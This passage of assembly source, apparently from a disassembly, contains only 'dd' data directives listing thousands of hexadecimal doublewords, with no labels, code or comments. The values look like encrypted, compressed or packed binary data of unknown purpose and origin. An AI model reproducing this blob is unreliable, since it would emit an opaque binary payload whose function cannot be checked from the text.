		dd 6D4FD846h, 75738800h, 0A0884501h, 0F1358Ch, 9ACAFDA2h
		dd 0A9220CFEh, 803F109Eh, 1D643033h, 3070764Fh,	9C40B8DAh
		dd 64B03271h, 0F5D90600h, 921DD1B5h, 3D67165h, 41EAD5C1h
		dd 0ECC869EFh, 0BD0007CCh, 0B04D78D9h, 783483Ah, 0AE65D67h
		dd 62A49251h, 9079E640h, 0B60EBE00h, 24AA97Ah, 80F03EE7h
		dd 43C69B00h, 0F49F6077h, 0DA6031Dh, 68FED80Ah,	0FD016802h
		dd 0ED60036Dh, 0CC59F8FAh, 0A33B9800h, 0F596384h, 9A155D0Ah
		dd 754CE320h, 1096C7D0h, 940BDD00h, 36B58D5h, 1BD76507h
		dd 0E3E8F0B9h, 5BFA27F4h, 0A4759100h, 9A8583D8h, 4E300059h
		dd 0F8909503h, 49F04410h, 3E072F0Ch, 6180F7h, 567CDD94h
		dd 837FCC9Bh, 233D2A00h, 932DECF0h, 0E96007A1h,	8379A68Fh
		dd 9BCB6C7Dh, 8C7523C8h, 1F113900h, 0CC40C5F0h,	0EDE0122Bh
		dd 98C8085h, 3500B93Ah,	3C4E7BA0h, 6466F4h, 2B75B37Eh
		dd 512B60Dh, 5CD6E700h,	0F194434Bh, 403D00F6h, 0EB4ED73Ah
		dd 46285679h, 838D2DDh,	1CCC85BDh, 0C000C17Eh, 0FE3D14FCh
		dd 8C6F00D6h, 0AE581FC8h, 24002668h, 56BEEE2Fh,	12271C0Dh
		dd 0C62C8D6Eh, 30021D0h, 2EF67AD2h, 5826B15h, 6AB16E0h
		dd 0E264D0FAh, 7C00A039h, 70B6757Eh, 3E6AC9h, 0E11B855Bh
		dd 1E5C40DDh, 47329600h, 56BB3F34h, 0A34F00DEh,	6C241839h
		dd 0B41C72ABh, 36807F04h, 83F22379h, 0BA7C5CFFh, 4E52CE0Ch
		dd 3800A441h, 0DAC87259h, 12442AEDh, 0C207EFh, 4E868080h
		dd 30047505h, 9AE6CC0Dh, 9E851C90h, 0AB740001h,	97D332FFh
		dd 6A07913Bh, 5A8F5B4Bh, 63D05D77h, 8A464Ah, 677418DCh
		dd 0FAE90FADh, 0D3003D75h, 905DAF5Bh, 28994EF7h, 0ADC4B5Ah
		dd 3AA7F60Dh, 9E3F9B80h, 8481800h, 63B17981h, 0ACFF01A2h
		dd 0B634A762h, 0BC6C5Fh, 3BC8FA61h, 4CBB603Eh, 343AA83Ch
		dd 80E92E9Ch, 6C6EF913h, 3770AC45h, 5EE2B900h, 28440649h
		dd 40303C36h, 4304B158h, 90E392ABh, 0FE81522Ch,	50387A31h
		dd 0D8DF7139h, 778A6Ah,	0DB0ABA3Fh, 0E66DFC7h, 0C3CA9200h
		dd 0D576E1B8h, 0A5360032h, 75C6FABFh, 0F8F0F780h, 0C02AB00h
		dd 0C789287Ch, 2E6E279Fh, 0CD879880h, 0C190ACEEh, 334AB480h
		dd 578C8801h, 793D38C1h, 69BA2680h, 0D5EF3FFDh,	142F6E00h
		dd 27D8A7C6h, 0C9B800A8h, 39FF5846h, 5A265416h,	0DB04C092h
		dd 5120DF34h, 8C94CACBh, 79004A12h, 0E679424Bh,	0A6700DCh
		dd 3A2D1EF8h, 7500816Bh, 76EEBDC3h, 0D78E04h, 73D26791h
		dd 79EFD546h, 82EC7705h, 32C09B3Ah, 33C9495h, 0A13D169Ch
		dd 190011FFh, 9DF6DF3Eh, 13A269D4h, 45275009h, 0C8DCC64Ch
		dd 4F609F44h, 59D61068h, 4C723061h, 84489B10h, 0D20B8300h
		dd 54C87A01h, 0C4FC00B7h, 0E0C7B11h, 640C502Ch,	595C555Eh
		dd 738000Ah, 0F506B913h, 0F2070D32h, 50545D89h,	2A90B8B1h
		dd 8E1BC0FEh, 345500CFh, 15CDFFA7h, 7A79BD30h, 0DB7F991Dh
		dd 6EB972C0h, 7612966h,	0C136201Ch, 52506069h, 0AE008CA5h
		dd 0CF1031D8h, 5D91EFh,	0B55C714Bh, 6329F807h, 24DE5000h
		dd 47CF42E3h, 0DF6F3BD9h, 0E906EA0Ch, 2C771A21h, 0EC198B05h
		dd 0DA0083C2h, 3CB5874Dh, 47B2002Fh, 0BD36CC0Eh, 5E00C889h
		dd 218F1029h, 45F5924h,	11EAAAEFh, 4434C004h, 61008365h
		dd 1EA10735h, 0FD059Dh,	0FB32F102h, 89ED2D90h, 0C31F47E6h
		dd 6A1E5F6Ch, 0D1DAAFC0h, 31F46E0h, 706823BDh, 8C0B61F0h
		dd 0E0B3FA78h, 0F6259Ch, 0EC4F2EEBh, 48ED871Dh,	91DB790Ah
		dd 5007BCACh, 0B2C3ABF1h, 3E1BC082h, 0E45B0051h, 565467E8h
		dd 0C100B55Eh, 3BDA5347h, 346050h, 0DDDBEDEEh, 0D189FD36h
		dd 15A765Ch, 0E5B1557Dh, 7C607F6Ah, 0D24A2FEAh,	0DF101C18h
		dd 0AA292301h, 0E7A6F249h, 217ABF4h, 0B84A659Ah, 7263E439h
		dd 31D044A3h, 6E3F1E7Dh, 674816FBh, 0DAED6800h,	0C1403A25h
		dd 3FAE4411h, 53816AE7h, 0D8DE0E7Ah, 975A2FE8h,	87FE08B6h
		dd 15335400h, 0D9F8BBD1h, 0B62100CDh, 0C5CE20Fh, 0A1EE9C3Bh
		dd 0B9D7EB00h, 19B4A87Dh, 6D4504D9h, 0C0DF8A04h, 576A5058h
		dd 41F25C00h, 1851D42Dh, 0DA6F01CDh, 10B5888Bh,	4437C087h
		dd 0CE2C32F2h, 4B00BC22h, 0D9917C8Fh, 0A5D72ED0h, 1DBA12B4h
		dd 9D97075Eh, 81B19062h, 1A00D937h, 5A41758Ah, 373B46Bh
		dd 0FAC9BF83h, 4B8DEE2h, 902E708h, 0C114D6AFh, 0FB18E8AAh
		dd 0CAB20922h, 6D00AE5Eh, 404CFF4Dh, 0FCBFBC03h, 0CFFDADF6h
		dd 0AC28250h, 1ACF02D3h, 23022DF4h, 9E04AB40h, 0F54F9500h
		dd 4E795145h, 1E9F12C6h, 7A050F24h, 2580C4AEh, 28818BBEh
		dd 0DB681902h, 983ACBD0h, 0A72BBCh, 8754A074h, 464B1C4Dh
		dd 0DD978B28h, 0E7183875h, 430E0EFEh, 0E308EC5Ah, 732570h
		dd 0F961CE09h, 0D0175576h, 190E6400h, 79C79227h, 0C8CF038Ch
		dd 7AD487EDh, 4863C6F0h, 9700B094h, 0E7DE5B81h,	0BBB30061h
		dd 3EDC43FAh, 4539E1CFh, 0A54E802Dh, 900B4BC2h,	0FA1400A7h
		dd 0AB15CA3Ah, 0C10483EBh, 733FFCE5h, 5D93F100h, 9F1C4260h
		dd 37C01328h, 0CB3D771Dh, 40210031h, 0FFF505FAh, 5C00BD96h
		dd 0DA788017h, 0E4B760h, 0AA6B1A79h, 67A5B54Ah,	3B998400h
		dd 33A43A1Fh, 49DE0ECDh, 60C04B32h, 0AC4A3666h,	0CCF849h
		dd 3B423873h, 0F9CB62h,	290DFADCh, 0D084D2D3h, 0A063C230h
		dd 3F138994h, 0B8A7B33Ah
		dd 0F579B0A3h, 0DBF734E0h, 5F37BA1Dh, 0EBA02E03h, 0F6C0E14Ah
		dd 0BECEDF0h, 8A51775Ch, 0C801080h, 50D0ACFEh, 7B450724h
		dd 5429379Eh, 7C690013h, 716F868Bh, 0DC2671E5h,	5C50F20Bh
		dd 8780EB3Ch, 0C1BA31CAh, 4C37BD68h, 2A2A2E6Ch,	9600B03Bh
		dd 13460D11h, 6119A2h, 0FFB1282Ch, 7BB03EC6h, 0B889490Bh
		dd 8D068037h, 6D17FEh, 1DF3C530h, 6495A5E7h, 0CD0CE100h
		dd 27C96B33h, 210B0029h, 0AD3C28EEh, 3386537h, 3BD000B3h
		dd 0FFBCC823h, 9BF70019h, 0BED388AEh, 650027DAh, 62329D47h
		dd 73E063h, 85785B0h, 8E237B4Fh, 0A979EC00h, 66741D49h
		dd 0DCCD015Fh, 0BDF427F0h, 64D880BBh, 0FF804C3Ch, 0AD760022h
		dd 0DB1A4E4Dh, 0C700E532h, 0E7C5F7CBh, 3712875h, 3C5349F6h
		dd 80AF9EA7h, 50AEBD72h, 26469F00h, 0C6CE4F2Dh,	335900C0h
		dd 192C931Eh, 0A83BA347h, 666C0F49h, 107C204Ah,	7DD212h
		dd 0B36F99F2h, 0AB388DA7h, 69158900h, 952F34CCh, 0A9BE00C3h
		dd 7390F23h, 470B21BDh,	8351C1CEh, 907C6C72h, 3A76F252h
		dd 0A400A64Bh, 0E11B7384h, 0EC734212h, 705EE616h, 0E7698F0h
		dd 0ABC056A9h, 6DF48BC0h, 3400B9A0h, 0CE965075h, 3EFC2378h
		dd 0FF8039AFh, 0FF8F62Fh, 9C00B334h, 8F5C17EEh,	0F0E631AAh
		dd 1A71003Ch, 29D78737h, 0C6066091h, 411D242Eh,	0AC380FA0h
		dd 0E720D0AFh, 96086BA1h, 0C5912001h, 401C76D3h, 0A02807C7h
		dd 0E00705F1h, 60A1DBEFh, 4C307A49h, 5DA300E0h,	35C1EC45h
		dd 1C97CC0h, 0FBDE946Dh, 40CDF63Fh, 726930A0h, 2D4EC101h
		dd 0B71B9A0Eh, 0B211370h, 7A7D5066h, 4C898180h,	2CE05970h
		dd 46EF61C3h, 0FD3FCF9Ah, 0BC51C240h, 0B2030E0h, 0C710CB0Eh
		dd 6352B980h, 6007801h,	2D1A9D7Fh, 0EF762FEh, 942093CCh
		dd 406044AFh, 792C4FB8h, 6A00F4E8h, 0C4BDD630h,	6374857Fh
		dd 1D73A8D0h, 0F8BF63F0h, 0E8008A7Ch, 91B51127h, 0E372659h
		dd 0FE805507h, 2FE5A300h, 71042E31h, 0A7825E85h, 0A0FFC097h
		dd 9402DED3h, 0B3250091h, 0DACF6627h, 0A71CE918h, 4C80B47Dh
		dd 3E6F40FCh, 0FC2F7B32h, 5CF328DDh, 0F2FE00B8h, 0C70CB88Fh
		dd 3C7BCA30h, 55697E00h, 0ACA043C6h, 0B22E0091h, 5DD7519Ah
		dd 340616AFh, 9F524157h, 0DC1F0021h, 360861EDh,	0D23D118Ch
		dd 0D1208F22h, 8067AEE8h, 5A7637BCh, 582100B9h,	704DACBh
		dd 3B001E26h, 0A0396231h, 0BC7D0Ch, 6434F60h, 0EFB78AF2h
		dd 91008C7Eh, 94FB1A9Fh, 151F766h, 3A0F6CAEh, 0CCFF063Fh
		dd 0C925A1D9h, 3C18406Eh, 137A3809h, 0DAB8A901h, 0D59B88C3h
		dd 0FB5E609Ah, 0A2CEE501h, 0AD236059h, 8247BEDh, 7D030122h
		dd 6E7FF5ACh, 0F4563157h, 150FB7B1h, 20DA64D9h,	1A7E12DFh
		dd 17379DDh, 0D843C98Ah, 34F1F306h, 860E659Ch, 0A052BF50h
		dd 6C01D5C8h, 0F582007Bh, 0D46E51B6h, 3D30EFC2h, 4B964813h
		dd 30AE0070h, 0FA44010Eh, 0EE007FABh, 0E4262545h, 243AB5C0h
		dd 0C1047h, 44EA8497h, 451FFF82h, 5085F308h, 9C0BB7Bh
		dd 90ACC2h, 7D64DCBAh, 0B85671Dh, 8B319507h, 73701E0Ah
		dd 6E894Ch, 3D7D7EE0h, 9BB19352h, 24E9D207h, 0D4B088EFh
		dd 745A2Ah, 0DCF3294Dh,	8664C306h, 4C099AB0h, 8025E6F0h
		dd 9B212BBBh, 0B5AB00C1h, 13B669DAh, 33003875h,	861FFCA5h
		dd 25EEC0AFh, 0B8606FDFh, 5707FB04h, 0E1DA7375h, 53184690h
		dd 0D37F008Fh, 1E8B6BCBh, 0B20EEC9Bh, 0C0690A56h, 9A90110Eh
		dd 0E13D008Ah, 0FF316AA2h, 0D41D5CB0h, 0B71EB337h, 0AC3063BCh
		dd 340CE955h, 783D9980h, 10AF05A6h, 4AEA5C00h, 0F3EE94F6h
		dd 0E8F89270h, 45180009h, 0EE5A1E3h, 5F05807Ch,	12511A8Ah
		dd 2268B801h, 2C34AB9Ch, 0F5985Eh, 81784532h, 0B875B6E4h
		dd 8CBCE4A8h, 0BFF2C712h, 0E1497000h, 12FC15D1h, 0CBA03Dh
		dd 0F6222EB4h, 0D4E83101h, 1D0C7013h, 82EDF84Eh, 0E9B556BAh
		dd 94404DF8h, 42EB9Eh, 1F2EAEF7h, 56D7FCD5h, 0D16D8900h
		dd 0F844300Fh, 432A0790h, 108B9F82h, 0F9362FDCh, 0A846D07h
		dd 7FC0C916h, 0B8B4ECh,	6C53546Eh, 0E42B4008h, 770CA7FEh
		dd 10417563h, 5AA50191h, 0B14EAFB6h, 697BCC6Ch,	20899300h
		dd 83F3721Ch, 0D38D244Dh, 134C0255h, 3BC00610h,	0DD00A4AFh
		dd 8CD4C7BCh, 914C368h,	613E9D7Ch, 8F788380h, 0BB003645h
		dd 0E46C1C19h, 0C784CAh, 0A9F1CD18h, 9BC8AAC3h,	3E5F8200h
		dd 631F9C49h, 0F91D000Bh, 8FE1BBB9h, 9A0186DCh,	97CAAF7Eh
		dd 8BDC65E4h, 22C900AAh, 897702EEh, 570067F9h, 0D6EB834Bh
		dd 1E4BD5Fh, 0C8CB071h,	0D00B3E59h, 700D435h, 7D586B7Bh
		dd 334FFC8h, 0BC5669C7h, 5198C5E3h, 0A300E62Ah,	0EF9E04AAh
		dd 608594h, 56B92CAh, 40DF3686h, 0F8879700h, 41FFB6A9h
		dd 0D478F6h, 5C98A8E8h,	0C60BEC76h, 4293860Fh, 71C800BBh
		dd 3D99C1h, 6E8712BFh, 0EF2A3588h, 0FB820900h, 0C7A86585h
		dd 3AD0FAB2h, 3F92CE3h,	9EA53012h, 77EB491Dh, 0E1FF47B8h
		dd 14819A00h, 0C86E703Ah, 0FDE696h, 0D6326A13h,	67CE2AC2h
		dd 0AF90C600h, 29CB2B1Fh, 70C70F5Eh, 48E24BE0h,	0CC40763Fh
		dd 3C01872Eh, 5D7C5626h, 0B9EC19DBh, 0C4B000FCh, 63DADEACh
		dd 20E8D8Bh, 203AB1D9h,	582BCED1h, 7C170986h, 0E80C4FDh
		dd 15BFB83Ch, 51D23400h, 0B237DB8Eh, 93CA00B7h,	4661266Ah
		dd 62000182h, 0F23F2341h, 3E52B43h, 0D70B086h, 78985124h
		dd 5617C84Dh, 880E53D3h, 0FE75E03Dh, 7E63DB9Eh,	0AC220084h
		dd 1043A469h, 5DFA46C3h, 26360718h, 5CEBDA0h, 1A8E16CDh
		dd 0D8E4C3F5h, 10A4F1EAh, 0E5E08C0h, 97800681h,	1D9F1480h
		dd 283A9630h, 0C0BA1C18h, 0B6FB3DF1h, 0A306AACEh, 0D17FE2B5h
		dd 93A73C18h, 2EB9F107h, 0A5000FC2h, 0CDCBB3CEh, 7E2620C0h
		dd 0F29956B6h, 9B360EB5h, 0A78CDE4Bh, 0F8008150h, 1AA6EFF1h
		dd 1F633C2h, 56C5D8BDh,	40D65DA8h, 0F9DB1B58h, 7135DC07h
		dd 0E17F02B2h, 0E428439Dh, 2A4AD4h, 3D97BB5Ch, 4811D8E3h
		dd 0E1EF600h, 0B416C74Fh, 0B1E689h, 19C1320Dh, 0A29367E6h
		dd 0C63A7300h, 561B5F63h, 0DEB30048h, 0B188787Eh, 0BA02ACD9h
		dd 0B70D9441h, 0AF4340C7h, 0D7F700F0h, 4FE5C9B5h, 4D389B98h
		dd 5CC401D4h, 2642766Eh, 83A0F4h, 0AA2B87FCh, 4CCDF13Fh
		dd 0AC230916h, 8B6C4000h, 0D784F9h, 990E038Ch, 5AFD6FEAh
		dd 0CC505900h, 0B547CBA5h, 638F0069h, 65C7A7C4h, 3B0286BAh
		dd 0FA1EFD08h, 0B88C8031h, 347695h, 949E38D5h, 777BD45Dh
		dd 0D840FD00h, 0D0621D56h, 2EC5008Ah, 9A5DD651h, 32EE499h
		dd 39B63Ch, 0EAA6E7DFh,	0E23F41h, 0D522F62Eh, 639EB66h
		dd 0BD275C00h, 4B014D8Fh, 2F1900FDh, 55F9BA89h,	0BE3AB208h
		dd 0AAC99CB6h, 171ACD40h, 391591F8h, 6C00207Bh,	7C124228h
		dd 5F001D77h, 0B108FA4h, 29DFF9h, 6E4A1B5Dh, 68F2CD6Ch
		dd 0D23E1700h, 1E2CB190h, 8C1F24BAh, 31EF00A4h,	91F384CEh
		dd 0ED33F20Fh, 2001EE13h, 0AD3BD78Eh, 673C0072h, 58D64929h
		dd 8F003640h, 3A3F88F1h, 3736D74h, 1A928DB0h, 0A8C00ECEh
		dd 2748458Ah, 332B002Ch, 21AC96B2h, 41D20040h, 2AAB221Eh
		dd 7304C920h, 983E7650h, 0EFAC8890h, 2ECB0F81h,	0B8E0ED97h
		dd 0B3543F2Ah, 0E260647Fh, 2E959D41h, 0B27B009Ch, 0C20C8FA9h
		dd 0E7005B1Ch, 0FE327E34h, 28F4DEABh, 0E6A6EF64h, 0D4E30046h
		dd 8D3121EDh, 0DE005CA8h
		dd 0A6A8E24h, 7474B958h, 1E757Dh, 0DB5742B5h, 52483090h
		dd 25F0DA4Ah, 378B0092h, 0A0D0FB2Fh, 7D00A3E3h,	3385E9D9h
		dd 38504E71h, 141EF298h, 15C0007Fh, 0FC618F16h,	0E7437E00h
		dd 98A441C6h, 9F998E3h,	0D84C801Dh, 407AE001h, 74F7C01Eh
		dd 15E82800h, 0AABC4BD1h, 49FA3D52h, 0DC80163Dh, 0DE116FCBh
		dd 2A00C189h, 0F8F54E1Ch, 0E9BC0Ch, 17153BECh, 0E7A7199Eh
		dd 0B7C8FC00h, 8045265Dh, 0B4315048h, 106E0B0h,	9AD7D3F6h
		dd 48593D04h, 0A40FDCD4h, 0C501FB95h, 0BC0E2262h, 7A8620CBh
		dd 3859A774h, 873A9EC9h, 54DFE000h, 0F4CC3821h,	7267A5Ch
		dd 209791B2h, 4C4AC390h, 0BDF8004Dh, 0F7BE066h,	0AF00F169h
		dd 0EBB9CFABh, 0EF3A22h, 15BE2EB1h, 0F71CDD8h, 2782A002h
		dd 68A61825h, 0F05F916Ch, 6B810123h, 6F874204h,	0B48EDC0Ch
		dd 48D26E00h, 0E22AF4D6h, 1C237938h, 475B14CCh,	207939ACh
		dd 2CEBA47Dh, 0C3C64200h, 0B113B791h, 0AF21003Bh, 0DFE5305Ch
		dd 0DA00A8D4h, 6A2486EBh, 97E866h, 444C3689h, 130CFA2Eh
		dd 903CA600h, 7196CE5Bh, 4A1A01EDh, 871F1498h, 0BF06F408h
		dd 7EDD261Fh, 686C8980h, 4B24D2h, 0B81048ECh, 0DB770341h
		dd 225C3400h, 0AF33518Fh, 71E3004Fh, 3887580h, 0FC000C7Fh
		dd 8D9EC030h, 5774B60h,	0A63848F2h, 0C0881DDCh,	2DD464C1h
		dd 9500CCBDh, 106A88F9h, 0C0C6DC4Bh, 0D4E02038h, 683A8064h
		dd 0FF007225h, 9A9F8E90h, 93D87Dh, 9920E5CBh, 703FE3AAh
		dd 71FAE402h, 80BB6AB5h, 921673A7h, 0EC9D744Ah,	33C80102h
		dd 0F145E453h, 0E88440F2h, 970F8FB8h, 81DB1A77h, 7012F57Ch
		dd 0CDEDC8DBh, 9ECC031Bh, 6EEFA39Fh, 0DC8CC8D0h, 8B913C00h
		dd 5DA66BABh, 0A9361DCAh, 9D03C727h, 4F06BF06h,	925C288Eh
		dd 0B47D240Bh, 0D8D97B00h, 1FC633F7h, 0A6087795h, 329A8014h
		dd 197155B0h, 0BC41913Dh, 5D6E807Ch, 4F5A2A53h,	73650154h
		dd 66377B3Bh, 1000EBA9h, 0B48D0976h, 0A83ADAh, 2BAC8949h
		dd 0E6B6F630h, 717AC6ECh, 8004BEFAh, 6BA456BFh,	1F6A75C0h
		dd 940A07A1h, 303DE545h, 533217CEh, 9670393Eh, 0A4532B07h
		dd 7C80705Ch, 72BFF45Eh, 0EA7BCCh, 0BCA3A8DDh, 0A76A1F63h
		dd 6D687000h, 54DB4F98h, 7F7D0022h, 0D1BF6B2Ah,	3701E3DAh
		dd 4164C753h, 0CAF828B0h, 0DBF600CBh, 4A2BAB38h, 0AD00C625h
		dd 4CC4F871h, 3F7BD7Eh,	4485D76Fh, 40010407h, 367A20D6h
		dd 0E3CB9Dh, 79151978h,	3F547EDCh, 0B8143900h, 0B6F19689h
		dd 0E871CCh, 0FB5BD148h, 0CF7E1F76h, 0FD569D1Dh, 34D83000h
		dd 0C4D543h, 0D74F9915h, 91FAAA1Fh, 0FE8C3Dh, 0FC4175DFh
		dd 384730E9h, 9380AD56h, 0DB90028Ah, 6B004966h,	25E68F5Ch
		dd 446D7Bh, 0A1F619E4h,	2F710206h, 0F12E38h, 0D89F0C67h
		dd 7C0D9782h, 29B2E849h, 1AC7F75h, 0CF54727Ah, 0CE197064h
		dd 4D0029FAh, 5529FEEh,	2441B959h, 742A95h, 84BA03A6h
		dd 5458FF1Ch, 482B009Bh, 26D3F97h, 81F8AEh, 0DE1D55E0h
		dd 0B339A10Ch, 7700607Dh, 0DF59492Bh, 0B031AB5h, 5F6F8048h
		dd 0EB10D824h, 1AA0Bh, 7F1C26E4h, 4E9E003Ch, 2A5CA68Bh
		dd 5E3F3310h, 195509C7h, 865C20B3h, 9440A346h, 9481574Ch
		dd 426B9BBh, 681C10Ch, 47968704h, 9F6040EBh, 89C2D131h
		dd 52BB6818h, 0B5DB203Ch, 90B6C31Dh, 0C0191103h, 99211DBDh
		dd 0F3B90169h, 80BBC92Dh, 6C2C9708h, 4ACC2EB0h,	0E8B8A4h
		dd 0F419FADBh, 384D15Bh, 0BF0CA73Dh, 6012AE46h,	5890E3B3h
		dd 0B0439E91h, 3E80013Ch, 258481Ah, 4A2882A1h, 84AC47A4h
		dd 90A23F68h, 0E8A8CB37h, 7CA44301h, 1C0CF718h,	2BB99610h
		dd 0F4F31B00h, 771135DCh, 0AD16130Bh, 688821Eh,	6451BCh
		dd 0AC85B949h, 470E41A0h, 20E91270h, 9925C7B1h,	178B25C1h
		dd 900B2F56h, 46148066h, 7869789h, 82FC7838h, 0C7E6E4AFh
		dd 0BA00EBF1h, 0D0878BC5h, 0B929D31Ch, 569611C0h, 33721B0h
		dd 1305617Ah, 0CDD88072h, 14000CB4h, 58279836h,	13956BCh
		dd 0B9CA6D1Dh, 20E7554Ch, 99000AA9h, 0BA85F91Fh, 78582D51h
		dd 0CD4900E5h, 0E3DDA1C1h, 0CC0581C5h, 23625982h, 0DB978847h
		dd 88263143h, 93C8FAh, 47919C6Ch, 0A485FFE5h, 947E3E00h
		dd 0B1FED919h, 0C739DEB8h, 0D12E13D3h, 40526290h, 0E68877C4h
		dd 80FFEF14h, 0D7AD0014h, 0A7D1FD2Eh, 0AC010AC6h, 3F0B2F0h
		dd 4F6A1B9Bh, 2243EAD0h, 0CF041800h, 9597E2A2h,	105793Ah
		dd 66714119h, 65322BBh,	0AFB60069h, 0E6B3BD34h,	0CD0093C1h
		dd 1732F9F8h, 0E0743D5h, 1806AA97h, 47D0C220h, 7600A6B2h
		dd 699FE098h, 30651A4Fh, 7910BE97h, 9939ABAEh, 0A3010CF5h
		dd 601E69D0h, 94297197h, 521F7557h, 0F50C0A7Ah,	3FE1835h
		dd 2F16A4C2h, 91A88417h, 0EA1CD2CDh, 0D7C0FA10h, 0D8110D1Bh
		dd 0E17AF92Fh, 0E037E564h, 890035EEh, 618EDE27h, 0A355CBh
		dd 1162F9BFh, 3D6471E2h, 97F2213Ah, 4B03A4C7h, 0A0A546C5h
		dd 392A30ECh, 23817B19h, 41A4DB93h, 0C90898ABh,	358B21h
		dd 1ED647Bh, 0A979F0F4h, 0CA00BF7Ch, 51070EC3h,	575D45h
		dd 5686FA11h, 6D3D4937h, 0B58FD300h, 0DD7E4427h, 74D20078h
		dd 21692E1Ah, 0FC032677h, 18A4F9EAh, 596800D6h,	9DA3E59Ah
		dd 261973D3h, 0C020BC78h, 65EA8980h, 0AE4C2447h, 2350DF61h
		dd 9A70F6EFh, 69A409FDh, 0DD800197h, 0CADABA4Dh, 0A2943918h
		dd 4CBC1041h, 9F037827h, 64B5B861h, 0C8EA0830h,	84E6ECh
		dd 0A5AEFA27h, 43F11137h, 0FB73447Ch, 0E1B47600h, 47AC65D4h
		dd 11A3071Eh, 0E052662Ah, 9F70F76Ah, 95E56400h,	2D383D8Fh
		dd 66D0023h, 8DAD13A8h,	7500F8B8h, 0BA0D1764h, 3D0DD48h
		dd 1CCD3C52h, 0E1F85E03h, 6524A35Bh, 9F3F5FD9h,	56409B34h
		dd 0EE20586Bh, 3E4C707Ch, 369C0809h, 81901F39h,	0B3118C59h
		dd 0E2C66055h, 0EAD79900h, 1F153CF5h, 27AF0045h, 5EE9E719h
		dd 70009383h, 0C35AF9DEh, 1E63BF3Bh, 40C65CB3h,	54A0D45Fh
		dd 6D0E2DE6h, 0A0434CB8h, 0BFAFE2F3h, 28740657h, 416165FBh
		dd 0F41B13Fh, 2012272Ch, 0F8C3B47Bh, 661F009Bh,	0B56F2CFh
		dd 9FF41E92h, 8C0E9400h, 0BF0682D9h, 0B82F1885h, 70914914h
		dd 2CF66C00h, 0E372046Fh, 0B77F075Fh, 508C2823h, 0CCBFD27Bh
		dd 46E7900h, 6620C12Dh,	0ED3F0CAFh, 0F958BC8Fh,	0B0E21800h
		dd 583B8098h, 0F85B1C82h, 6B5DC3EAh, 0FB89A67h,	1138934Fh
		dd 3BCB00DBh, 351882E3h, 3DF5FAE7h, 9D807A61h, 9A45E1C4h
		dd 0A7047693h, 0AB74422Ch, 0F37EC0ABh, 0E4072AA1h, 75B03F7Ah
		dd 29868EF5h, 94730C80h, 39D004EDh, 5E50800h, 6584A020h
		dd 2D4203C4h, 0A8EF57E3h, 0F532D803h, 3806BEC0h, 8100FE30h
		dd 0EFD32227h, 930F5FE2h, 20287701h, 67C313Fh, 65BB04C3h
		dd 807E2B8Fh, 0A721C23Dh, 0C90F4300h, 0D8E694B8h, 3E397642h
		dd 0DC00778Fh, 0FE3A52A4h, 1B011208h, 0A7EE0C23h, 88C2451h
		dd 9120A5C9h, 6012DE1Ch, 204D830Fh, 2CA2B535h, 50CB0054h
		dd 8F96A6CFh, 38733B53h, 44DE3A00h, 0B793FDDCh,	1DCAFA73h
		dd 1181CE0Fh, 744F0330h, 0C06E8DFAh, 0E15694h, 0BAF795ACh
		dd 0CF18480h, 26618C0Ch, 4D8611Fh, 17DEA30Eh, 0CA40037h
		dd 659162h, 24017667h, 52A35EA8h, 38272E01h, 0DE39784Dh
		dd 7DF0E1B2h, 3C120A30h, 0EFA12255h, 8B21C898h,	71123FE1h
		dd 9D9F1000h, 25D90D5Ah
		dd 9763E40Eh, 60AC052h,	54F25FC8h, 8C40A878h, 1C120705h
		dd 30223423h, 0D99020D7h, 93027912h, 5B167FF8h,	0B98CA036h
		dd 3CC08D0h, 4C998CFBh,	70409537h, 38432DB0h, 0A4FD2A1Fh
		dd 0B08E1481h, 118045C8h, 0D76FFA7Dh, 0B98F39EEh, 0CF680106h
		dd 5305B038h, 0AF375AD0h, 25639E00h, 76052F95h,	4304003Ch
		dd 0F80C3603h, 6873ED6Bh, 3148D31Fh, 79DCFFC0h,	3AEE5AABh
		dd 2501E7DAh, 85E6E5A4h, 8E4607Ah, 0F4D0D700h, 44EA45C2h
		dd 29C501DEh, 0ACE3EEF2h, 9936F4BCh, 1DE66E00h,	0A87438AFh
		dd 136400B2h, 73D0BB59h, 6C003B33h, 0A3C8F5E5h,	405D62Ch
		dd 6E9C0C07h, 32A4831Bh, 42B001E3h, 81F452F6h, 99D1B100h
		dd 54E42DFAh, 1DCE8F0h,	0F179BF63h, 0C86F76D4h,	0DF003D37h
		dd 0AC2E38BEh, 0EEBB4FEAh, 9C4A00ECh, 0C7331AEh, 0D503E0EFh
		dd 9FB2B18Bh, 3262A892h, 58E003Dh, 0A2BCA772h, 713CE877h
		dd 0E468E3E2h, 0E071005Ah, 5DC3599Bh, 791DFC4Ah, 2B01EB90h
		dd 49B4738Ah, 785330h, 0F0D42329h, 37FB5C63h, 0E8261E00h
		dd 0CAF46174h, 0ABB40F7Ch, 72A0016Dh, 6B5C2DF1h, 3E63A600h
		dd 0E15DC7D5h, 0D1C43CF2h, 2B5EFA81h, 806D3315h, 3D8BEDB8h
		dd 3DC4DB0Bh, 0B48C5B2Dh, 4F48DC32h, 9D09E703h,	207CA9h
		dd 46795DB2h, 39DF12F7h, 0E75504A5h, 7E90103Fh,	2A007761h
		dd 0E445DAC8h, 0FB23Ch,	0BAAF78BDh, 41D7E766h, 3947910Fh
		dd 80790EECh, 807EE1E9h, 54F874h, 702D20DBh, 864CFDAh
		dd 0E0072AB8h, 2A9D3071h, 39AE5441h, 0E4E95721h, 956760h
		dd 40615593h, 9DA51427h, 0F20348B8h, 7E798892h,	65E8B8CEh
		dd 36550F1Bh, 0DE4056h,	95E4712h, 0F83A2660h, 39FA0024h
		dd 0B3EE627Fh, 0C2C100ECh, 4412E088h, 63623E66h, 225E6028h
		dd 0AE22EF09h, 385D218Dh, 103C0284h, 9A890CFDh,	0EEC52843h
		dd 5F182229h, 2209D122h, 0BC228AE6h, 63342220h,	42B15F22h
		dd 14D621D2h, 3113C30h,	14BE28B6h, 222BE122h, 4C22B4CCh
		dd 642A50B8h, 0E8334465h, 0ED786E44h, 1482F612h, 0C4242C0Ch
		dd 4AB07427h, 4D143C62h, 6D801014h, 0F4B11700h,	0A3F3DF6Ch
		dd 0AF007677h, 79E30FB3h, 3F834FFh, 4257F99Ah, 83E9BC31h
		dd 0B71606Fh, 72443B0Fh, 5B2AC1FCh, 20C4F424h, 0FD5E26C2h
		dd 0C0A21EC1h, 0BEF2269Fh, 3507EAD4h, 0A301A6F0h, 0C9002237h
		dd 1F3351C8h, 0C0B242A0h, 865B4543h, 813E7389h,	5FCE8083h
		dd 7040DE20h, 16CD0163h, 735F21Dh, 0A7F6095h, 0C31C2A07h
